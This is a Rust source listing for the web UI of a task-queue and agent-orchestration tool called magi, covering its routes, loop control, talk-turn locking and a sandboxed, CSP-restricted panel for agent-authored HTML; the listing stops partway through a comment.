Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// Per-file cap for an attachment upload.
165///
166/// Enforced twice: axum's own body limit is raised one byte above this, only
167/// on the two attachment `POST` routes (see the router - every other route
168/// keeps the crate-wide default), so an oversize body is still read far
169/// enough to answer with our own message below rather than axum's generic
170/// one; this constant is what that message and the boundary check actually
171/// compare against.
172const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174/// The image types an attachment upload accepts - a closed whitelist, the
175/// same posture [`asset_content_type`] takes for panel assets and for the
176/// same reason: SVG is excluded on purpose because it is active content
177/// (it may carry `<script>`) and not merely a picture, so it never appears
178/// here even though `image/svg+xml` is a real IANA type.
179const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181/// Header carrying the operator's own filename. Free text, stored only for
182/// display - see [`talk::Attachment::name`]'s doc on why it never
183/// contributes to a path.
184const FILENAME_HEADER: &str = "x-filename";
185
186/// The header that makes serving agent-authored HTML defensible, sent by both
187/// panel routes and asserted verbatim by a test.
188///
189/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
190/// denies every fetch destination that is not re-allowed below, which is all of
191/// them except images and fonts; `img-src 'self' data:` means an image comes
192/// from magi's own asset route or from the document itself, so a panel cannot
193/// signal an outside server by pointing an `<img>` at it - the classic
194/// exfiltration channel for markup that cannot run script. `style-src
195/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
196/// free formatting means here and a style sheet cannot make a request that
197/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
198/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
199/// stops a form posting the owner's decision to a third party, and
200/// `frame-ancestors 'self'` stops another site framing the panel to phish with
201/// it.
202///
203/// There is deliberately no `script-src`: `default-src 'none'` already covers
204/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
205/// denied twice over. Weakening any directive here is the difference between a
206/// panel the owner reads and a page that can talk to the tailnet, which is why
207/// the test compares the whole string rather than looking for a substring.
208const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209                         font-src data:; base-uri 'none'; form-action 'none'; \
210                         frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216/// Which address to listen on.
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219    /// Ask Tailscale, and fall back to loopback with a warning.
220    Auto,
221    /// An address the operator named.
222    Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226    type Err = String;
227
228    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
229    /// the CLI can take `--bind` straight into it: the one spelling of
230    /// `auto` that matters is the one this function knows.
231    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232        if s.eq_ignore_ascii_case("auto") {
233            return Ok(Self::Auto);
234        }
235        s.parse()
236            .map(Self::Addr)
237            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238    }
239}
240
241impl std::fmt::Display for Bind {
242    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243        match self {
244            Self::Auto => f.write_str("auto"),
245            Self::Addr(addr) => write!(f, "{addr}"),
246        }
247    }
248}
249
250/// How to serve.
251#[derive(Debug, Clone)]
252pub struct Opts {
253    /// Address to listen on.
254    pub bind: Bind,
255    /// Port to listen on.
256    pub port: u16,
257    /// Repository used for tasks posted without one.
258    pub repo: PathBuf,
259    /// Print the URL on its own line for a caller that wants to hand it to a
260    /// browser. magi never launches one itself.
261    pub open: bool,
262    /// Merge mode override for the loop this process runs (`none`, `local`,
263    /// `pr`); `None` leaves it to each repository's own config.
264    ///
265    /// The same override `magi serve --merge` takes, and here for the same
266    /// reason: `magi web` is now the thing that runs the loop, so an operator
267    /// who wants this session's runs to open pull requests has to be able to
268    /// say so without going back to the command they no longer type.
269    pub merge: Option<String>,
270}
271
272impl Default for Opts {
273    fn default() -> Self {
274        Self {
275            bind: Bind::Auto,
276            port: DEFAULT_PORT,
277            repo: PathBuf::from("."),
278            open: false,
279            merge: None,
280        }
281    }
282}
283
284/// Everything the handlers touch.
285///
286/// The queue, the runs directory and the magi home are fields rather than
287/// process-global lookups so a test drives the real router against a temp
288/// directory instead of the operator's own history.
289#[derive(Debug, Clone)]
290pub struct Ui {
291    queue: Queue,
292    questions: Questions,
293    /// `<home>/notifications`, the bell's own store. Derived from `home` in
294    /// [`Ui::new`] so no constructor signature had to grow.
295    notices: Notices,
296    talks: Talks,
297    runs: PathBuf,
298    home: PathBuf,
299    repo: PathBuf,
300    /// Where the runs' worktrees live, for the health disk figures.
301    ///
302    /// Spelled independently of [`crate::run::default_worktree_root`] so the
303    /// test servers can point it at their own temp directory: the health route
304    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
305    /// be measuring the machine instead of the server.
306    worktrees_root: PathBuf,
307    /// Talks with an agent turn in flight right now.
308    ///
309    /// In-process and therefore not durable, which is correct: it guards
310    /// against two taps on one phone and two phones on one tailnet, both of
311    /// which are this process's own concurrency. A second `magi web` would not
312    /// see it, and a second `magi web` on the same home is already a
313    /// misconfiguration the queue's claims would catch first.
314    talk_turns: Arc<Mutex<TalkTurns>>,
315    /// Runs this process is resuming right now.
316    ///
317    /// Separate from `talk_turns` because a run and a talk are different
318    /// things to hold, and a resume is far more expensive to start twice: it
319    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
320    /// guards two taps and two phones, which is this process's own
321    /// concurrency.
322    resuming: Arc<Mutex<HashSet<String>>>,
323    /// The last scan of `[repos] roots`, and when it happened. Shared across
324    /// requests so polling `GET /api/repos` repeatedly does not repeat the
325    /// filesystem walk every time - see [`repos::Cache`].
326    repos_cache: repos::Cache,
327    /// Merge mode override handed to the loop this process starts.
328    merge: Option<String>,
329    /// The loop this process is running, if it is running one.
330    looping: Arc<Mutex<LoopState>>,
331    /// How a loop is actually started.
332    ///
333    /// A field rather than a direct call to [`daemon::serve_until`], because
334    /// the real loop resolves its queue and its status file through the
335    /// process-global magi home and claims whatever it finds there. A test
336    /// that started it would reach straight past its own temp directory into
337    /// the operator's live queue, overwrite the status file of the `magi
338    /// serve` that owns it, and spend real agent quota on a real competition.
339    /// What the routes have to get right is the bookkeeping, so the tests
340    /// drive the routes against a loop that only starts and stops; production
341    /// is [`launch_daemon`] and nothing reassigns it.
342    launch: Launch,
343    /// A test-only stop point inside `talk_say`'s busy branch. See
344    /// [`BusyQueueGate`].
345    #[cfg(test)]
346    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349/// A one-shot stop point the busy branch's queued-draft write can be made to
350/// pause at, right before [`talk::queue`] runs.
351///
352/// Exists because a test cannot otherwise pin *when*, relative to the turn
353/// slot being freed, that write happens: `blocking` runs it on
354/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
355/// already finished, so counting polls on the handler future to park it at a
356/// particular `.await` is a guess about scheduling, not a fact about it - see
357/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
358/// used to do exactly that and paid for it with an occasional "async fn
359/// resumed after completion" panic under load.
360///
361/// `reached` fires the instant the write is about to run, so a test waits for
362/// a real event instead of a poll count. `release` then blocks the write
363/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
364/// rather than an async channel because this all happens inside the
365/// `spawn_blocking` closure the write already runs on, off any runtime
366/// worker, so blocking here costs nothing the write was not already going to
367/// cost.
368#[cfg(test)]
369struct BusyQueueGate {
370    reached: tokio::sync::oneshot::Sender<()>,
371    release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378    }
379}
380
381impl Ui {
382    /// A server over explicit paths.
383    pub fn new(
384        queue: Queue,
385        questions: Questions,
386        talks: Talks,
387        runs: PathBuf,
388        home: PathBuf,
389        repo: PathBuf,
390    ) -> Self {
391        Self {
392            queue,
393            questions,
394            notices: Notices::at(home.join("notifications")),
395            talks,
396            runs,
397            home,
398            repo,
399            // The default location, overridden by `with_worktrees_root` - a
400            // builder step rather than a ninth parameter, for the reason
401            // `with_merge` gives.
402            worktrees_root: run::default_worktree_root(),
403            talk_turns: Arc::default(),
404            resuming: Arc::default(),
405            repos_cache: repos::Cache::new(),
406            merge: None,
407            looping: Arc::default(),
408            launch: launch_daemon,
409            #[cfg(test)]
410            busy_queue_gate: Arc::default(),
411        }
412    }
413
414    /// The operator's own state: `<home>/queue`, `<home>/questions`,
415    /// `<home>/talks`, `<home>/runs`.
416    pub fn open(repo: PathBuf) -> Self {
417        Self::new(
418            Queue::open(),
419            Questions::open(),
420            Talks::open(),
421            run::runs_root(),
422            run::home(),
423            repo,
424        )
425    }
426
427    /// The merge mode the loop should use, as the command line gave it.
428    ///
429    /// A builder step rather than a seventh parameter on [`Ui::new`], because
430    /// the override is a property of how this process was invoked and not of
431    /// where its state lives - which is all the tests that build a `Ui` by
432    /// hand are saying.
433    #[must_use]
434    pub fn with_merge(mut self, merge: Option<String>) -> Self {
435        self.merge = merge;
436        self
437    }
438
439    /// Where the runs' worktrees live, when it is not the default.
440    ///
441    /// The health view sizes this directory, so a test that leaves it at the
442    /// default would be measuring the operator's own machine.
443    #[must_use]
444    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445        self.worktrees_root = root;
446        self
447    }
448
449    /// Point the loop at something other than [`launch_daemon`].
450    ///
451    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
452    /// this crate may start the real loop.
453    #[cfg(test)]
454    #[must_use]
455    fn with_launch(mut self, launch: Launch) -> Self {
456        self.launch = launch;
457        self
458    }
459
460    /// Install a [`BusyQueueGate`] for the next pass through the busy
461    /// branch's queued-draft write, replacing any earlier one.
462    ///
463    /// A setter on `&self` rather than a `with_*` builder consumed once,
464    /// because a test that drives the busy branch more than once (as
465    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
466    /// to build confidence the interleaving is handled deterministically and
467    /// not just on a lucky run) needs a fresh channel pair each time, on the
468    /// one `Ui` it already built its temp directories around.
469    #[cfg(test)]
470    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471        *self
472            .busy_queue_gate
473            .lock()
474            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475    }
476
477    /// The loop's state, for [`serve`]'s own way out.
478    fn looping(&self) -> Arc<Mutex<LoopState>> {
479        Arc::clone(&self.looping)
480    }
481
482    /// Start the loop in this process, or say who already has one.
483    ///
484    /// `foreign` is passed in rather than read here so that one request makes
485    /// one judgement about who owns the loop: reading the status file again
486    /// inside this function could refuse a start for a daemon the same
487    /// response then reports as gone.
488    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489        if let Some(other) = foreign {
490            return Err(ApiError::conflict(format!(
491                "{} is already running the loop, so this one will not start a \
492                 second: two loops on one queue race for the same claims and \
493                 burn the agent quota twice over. Stop it where it was \
494                 started.",
495                other.who()
496            )));
497        }
498        let mut state = self.lock_loop();
499        if state.live.as_ref().is_some_and(Live::alive) {
500            return Err(ApiError::conflict(format!(
501                "this magi web process (pid {}) is already running the loop",
502                std::process::id()
503            )));
504        }
505
506        let stop = daemon::Stop::new();
507        // The CLI's own defaults for everything the UI has no opinion about:
508        // one poll interval and one retry budget, so a loop started from a
509        // phone behaves exactly like the `magi serve` it replaces.
510        let opts = daemon::Opts {
511            repo: self.repo.clone(),
512            merge: self.merge.clone(),
513            // Whatever this `Ui` already reports worktree sizes and folds
514            // against (see `with_worktrees_root`) is what the loop it starts
515            // must reclaim orphaned worktrees under too - two different
516            // opinions about where the worktree bay is would leave the
517            // janitor pass reclaiming a directory nothing else on this
518            // process is even looking at.
519            worktrees_root: Some(self.worktrees_root.clone()),
520            ..daemon::Opts::default()
521        };
522        let launch = self.launch;
523        let looping = Arc::clone(&self.looping);
524        let handle = tokio::spawn({
525            let opts = opts.clone();
526            let stop = stop.clone();
527            async move {
528                let failure = match launch(opts, stop).await {
529                    Ok(()) => None,
530                    Err(e) => Some(format!("{e:#}")),
531                };
532                match &failure {
533                    Some(why) => tracing::error!("the loop stopped: {why}"),
534                    None => tracing::info!("the loop stopped"),
535                }
536                // Recorded by the task itself rather than reaped by whichever
537                // request happens next, so `loop_rev` moves the moment the
538                // loop ends and a phone with the change stream open learns
539                // that it did. Clearing `live` drops this task's own handle,
540                // which only detaches it, and is the last thing it does.
541                let mut state = lock_or_recover(&looping);
542                state.live = None;
543                state.last_error = failure;
544                state.rev += 1;
545            }
546        });
547        tracing::info!(
548            "the loop is now running in this process: repo {}, merge {}",
549            opts.repo.display(),
550            opts.merge.as_deref().unwrap_or("as the config says")
551        );
552        state.live = Some(Live { stop, handle, opts });
553        // A fresh start is not the place to keep showing why the last one
554        // died; the operator has read it and pressed the button anyway.
555        state.last_error = None;
556        state.rev += 1;
557        Ok(())
558    }
559
560    /// Ask the loop to stop, without waiting for it to get there.
561    ///
562    /// Idempotent: a second tap on stop is not an error, because the first one
563    /// leaves the loop running for as long as the run in flight takes and the
564    /// operator has no way to tell a slow stop from a lost one.
565    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566        if let Some(other) = foreign {
567            return Err(ApiError::conflict(format!(
568                "the loop belongs to {}, and this process cannot stop it - \
569                 stop it where it was started. A button that silently did \
570                 nothing would be worse than this refusal.",
571                other.who()
572            )));
573        }
574        let mut state = self.lock_loop();
575        let Some(live) = state.live.as_ref() else {
576            return Ok(());
577        };
578        // A park upgrades a stop that has already been asked for: the
579        // operator who tapped "stop" and then realised the run has an hour
580        // left must not have to restart the loop to change their mind.
581        if live.stop.stopped() && (!park || live.stop.parking()) {
582            return Ok(());
583        }
584        if park {
585            live.stop.park();
586            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
587        } else {
588            live.stop.stop();
589            tracing::info!("the loop was asked to stop; a run in flight is finished first");
590        }
591        state.rev += 1;
592        Ok(())
593    }
594
595    /// The loop as both `/api/loop` and `/api/health` report it.
596    ///
597    /// `reading` is the caller's single read of `<home>/daemon.json`, because
598    /// health answers with this view *and* the daemon object beside it: one
599    /// read per response is what stops a single answer naming a foreign owner
600    /// in one field and calling the loop free in the other.
601    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
602        let state = self.lock_loop();
603        // A loop that panicked never recorded its own end, so the handle -
604        // not the presence of the record - is what "running" means.
605        let live = state.live.as_ref().filter(|live| live.alive());
606        LoopView {
607            running: live.is_some(),
608            stopping: live.is_some_and(|live| live.stop.finishing()),
609            parking: live.is_some_and(|live| live.stop.parking()),
610            owned: live.is_some(),
611            repo: live
612                .map_or(&self.repo, |live| &live.opts.repo)
613                .display()
614                .to_string(),
615            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
616            last_error: state.last_error.clone(),
617            daemon: DaemonView::of(reading),
618        }
619    }
620
621    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
622    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
623        lock_or_recover(&self.looping)
624    }
625
626    /// Whether this process currently owns the agent turn for `id`.
627    ///
628    /// This deliberately describes only the in-memory claim made by
629    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
630    /// never persisted with a [`Talk`].
631    fn is_thinking(&self, id: &str) -> bool {
632        self.talk_turns
633            .lock()
634            .is_ok_and(|turns| turns.live.contains(id))
635    }
636
637    /// Claim the right to run one turn in a talk, or report that it is busy.
638    ///
639    /// A talk is strictly turn-based: the agent is resumed with the
640    /// conversation it already has, so two turns running at once would resume
641    /// the same session twice and append their answers in whatever order the
642    /// two CLIs finished in. The operator would come back to a transcript
643    /// with two half-turns interleaved, which is unreadable and, worse,
644    /// unfixable - there is no undo for a persisted turn.
645    ///
646    /// A busy result is queued as a durable draft by [`talk_say`], rather than
647    /// starting a second CLI invocation for the same session.
648    ///
649    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
650    /// taken to test-and-insert and released before the agent is spawned. The
651    /// returned guard removes the id on drop, which is what makes a panicking
652    /// handler or a phone that walks out of range leave the talk usable - axum
653    /// drops the handler future when the client disconnects, and without the
654    /// guard that talk would be wedged until the server restarted.
655    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
656        self.claim_talk_turn(id, false)
657    }
658
659    /// Claim a turn after durably queueing a draft, or notify its current
660    /// owner that a drainer must recheck before it releases the slot.
661    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
662        self.claim_talk_turn(id, true)
663    }
664
665    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
666        let mut live = self
667            .talk_turns
668            .lock()
669            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
670        if !live.live.insert(id.to_owned()) {
671            if queued {
672                // A queued write has landed before this busy check.
673                // `drain_loop` uses this generation to recheck after its
674                // off-thread disk read, so it cannot release a turn between
675                // this check and the write.
676                *live.queued.entry(id.to_owned()).or_default() += 1;
677            }
678            return Ok(None);
679        }
680        Ok(Some(TalkTurnGuard {
681            talk: id.to_owned(),
682            turns: Arc::clone(&self.talk_turns),
683            released: false,
684        }))
685    }
686
687    /// Decide whether a free talk may start a new immediate turn while its
688    /// claim lock is held. A persisted draft without an owner is recovery
689    /// state, not a busy turn: two simultaneous `/say` requests must both
690    /// leave it untouched rather than one of them appending to it.
691    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
692        let mut live = self
693            .talk_turns
694            .lock()
695            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
696        if live.live.contains(id) {
697            return Ok(TalkTurnStart::Busy);
698        }
699        let talk = self.talks.get(id).map_err(ApiError::from)?;
700        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
701            return Ok(TalkTurnStart::Pending);
702        }
703        live.live.insert(id.to_owned());
704        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
705            talk: id.to_owned(),
706            turns: Arc::clone(&self.talk_turns),
707            released: false,
708        }))
709    }
710
711    /// Park the loop for an upgrade, and report the run that is parking.
712    ///
713    /// A park rather than a stop: a stop waits out the whole competition, and
714    /// not waiting is the point of upgrading from a phone. `None` means
715    /// nothing was in flight, which is worth saying so the operator is not
716    /// told a run is parking when none is.
717    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
718        let parking = {
719            let mut state = self.lock_loop();
720            let Some(live) = state.live.as_ref() else {
721                return Ok(None);
722            };
723            let busy = live.stop.busy_now();
724            live.stop.park();
725            state.rev += 1;
726            busy
727        };
728        Ok(if parking {
729            // More than one run can be in flight now (see
730            // `Config::daemon.max_concurrent_runs`); this answer names one of
731            // them so the operator sees a park actually happened, not every
732            // run a park now asks to stop at its next boundary.
733            daemon::current_work(&self.home, jiff::Timestamp::now())
734                .into_iter()
735                .next()
736                .map(|c| c.run)
737        } else {
738            None
739        })
740    }
741
742    /// Claim a run for a resume, on the same reasoning as
743    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
744    /// disconnected phone does not wedge the run until the server restarts.
745    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
746        let mut live = self
747            .resuming
748            .lock()
749            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
750        if !live.insert(id.to_owned()) {
751            return Err(ApiError::conflict(format!(
752                "run {id} is already being resumed"
753            )));
754        }
755        Ok(ResumeGuard {
756            run: id.to_owned(),
757            resuming: Arc::clone(&self.resuming),
758        })
759    }
760
761    /// The router, with this state baked in.
762    ///
763    /// The three front-end files get one explicit route each rather than a
764    /// path parameter, so there is no traversal surface to get wrong: the set
765    /// of servable paths is the set written here. The asset route below is the
766    /// one exception and the only place in this server where a client names a
767    /// file; it is why [`valid_asset_name`] is checked before a path is built.
768    pub fn router(self) -> Router {
769        Router::new()
770            .route("/", get(index))
771            .route("/app.css", get(app_css))
772            .route("/app.js", get(app_js))
773            .route("/api/health", get(health))
774            .route("/api/loop", get(loop_get).post(loop_post))
775            .route("/api/upgrade", post(upgrade_post))
776            .route("/api/runs", get(runs_list))
777            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
778            .route("/api/runs/{id}/report", get(run_report))
779            .route("/api/runs/{id}/fold", post(run_fold))
780            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
781            .route("/api/runs/{id}/resume", post(run_resume))
782            .route("/api/queue", get(queue_list))
783            .route("/api/stats", get(stats_get))
784            .route("/api/queue/{id}", delete(queue_delete))
785            .route("/api/repos", get(repos_list))
786            .route("/api/queue/{id}/hold", post(queue_hold))
787            .route("/api/queue/{id}/release", post(queue_release))
788            .route("/api/queue/{id}/priority", post(queue_priority))
789            .route("/api/queue/{id}/edit", post(queue_edit))
790            .route("/api/queue/{id}/done", post(queue_done))
791            .route("/api/questions", get(questions_list))
792            .route("/api/questions/{id}/answer", post(question_answer))
793            .route("/api/questions/{id}/say", post(question_say))
794            .route("/api/questions/{id}/panel", get(question_panel))
795            // The same asset, reachable from inside the panel by its bare
796            // filename. A document served at `.../panel` resolves `shot.png`
797            // to `.../shot.png`, which is not the asset route, so a panel
798            // written the way its author was told to write it showed broken
799            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
800            // it - deliberately - so the fix is that the panel's own URL ends
801            // in a filename and its siblings are the assets.
802            .route("/api/questions/{id}/panel/index.html", get(question_panel))
803            .route("/api/questions/{id}/panel/{name}", get(question_asset))
804            .route("/api/questions/{id}/asset/{name}", get(question_asset))
805            .route("/api/notifications", get(notifications_list))
806            .route("/api/notifications/read-all", post(notifications_read_all))
807            .route("/api/notifications/{id}/read", post(notification_read))
808            .route(
809                "/api/notifications/{id}/dismiss",
810                post(notification_dismiss),
811            )
812            .route("/api/talks", get(talks_list).post(talk_post))
813            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
814            .route("/api/talks/{id}/say", post(talk_say))
815            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
816            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
817            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
818            .route("/api/talks/{id}/close", post(talk_close))
819            .route("/api/talks/{id}/reopen", post(talk_reopen))
820            // `DefaultBodyLimit` is raised only on this one route - every
821            // other route on this server answers in a few kilobytes, and
822            // widening the crate-wide default for all of them just because
823            // one accepts a picture would let any other handler be handed
824            // a multi-megabyte body it never expects.
825            .route(
826                "/api/talks/{id}/attachments",
827                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
828            )
829            .route(
830                "/api/talks/{id}/attachments/{att}",
831                get(talk_attachment_get),
832            )
833            .route("/api/events", get(events))
834            .with_state(Arc::new(self))
835    }
836}
837
838/// One talk's turn slot, released on drop.
839///
840/// A guard rather than a matching `remove` at the end of the handler, because
841/// the handler has several early returns and one `await` that can be cancelled
842/// out from under it. A leaked id is a talk nobody can talk to again.
843#[derive(Debug)]
844struct TalkTurnGuard {
845    talk: String,
846    turns: Arc<Mutex<TalkTurns>>,
847    released: bool,
848}
849
850/// In-memory turn ownership plus the queue generation observed by a drainer.
851///
